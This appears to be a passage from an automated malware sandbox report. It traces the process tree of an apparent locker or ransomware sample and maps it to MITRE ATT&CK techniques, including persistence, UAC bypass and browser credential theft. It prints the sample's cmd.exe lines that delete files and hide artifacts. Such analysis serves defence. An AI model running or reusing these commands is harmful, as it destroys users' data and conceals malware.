        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:1008
      - C:\Windows\system32\attrib.exe
        
        attrib -h -s -r -i /D
        6⤵
        Views/modifies file attributes
        
        PID:4376
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s -r desktop.ini
        6⤵
        Views/modifies file attributes
        
        PID:1048
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:2496
      - C:\Windows\system32\attrib.exe
        
        attrib -h -s -r -i /D
        6⤵
        Views/modifies file attributes
        
        PID:4368
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s -r desktop.ini
        6⤵
        Views/modifies file attributes
        
        PID:5184
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:2288
      - C:\Windows\system32\attrib.exe
        
        attrib -h -s -r -i /D
        6⤵
        Views/modifies file attributes
        
        PID:4688
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s -r desktop.ini
        6⤵
        Views/modifies file attributes
        
        PID:6048

C:\Users\Admin\AppData\Local\Temp\Holy Check.exe
"C:\Users\Admin\AppData\Local\Temp\Holy Check.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3420

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2d4 0x304
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3984

C:\Windows\system32\msinfo32.exe
"C:\Windows\system32\msinfo32.exe" "C:\Users\Admin\Desktop\StepPush.nfo"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1336

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3596

C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe"
1⤵
- Executes dropped EXE
PID:2248

C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe" --wininit
1⤵
- Executes dropped EXE
PID:5200

C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe" /setup
1⤵
- Executes dropped EXE
PID:2888

C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe" --init
1⤵
- Executes dropped EXE
PID:4360

C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe" -startup
1⤵
- Executes dropped EXE
PID:2856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery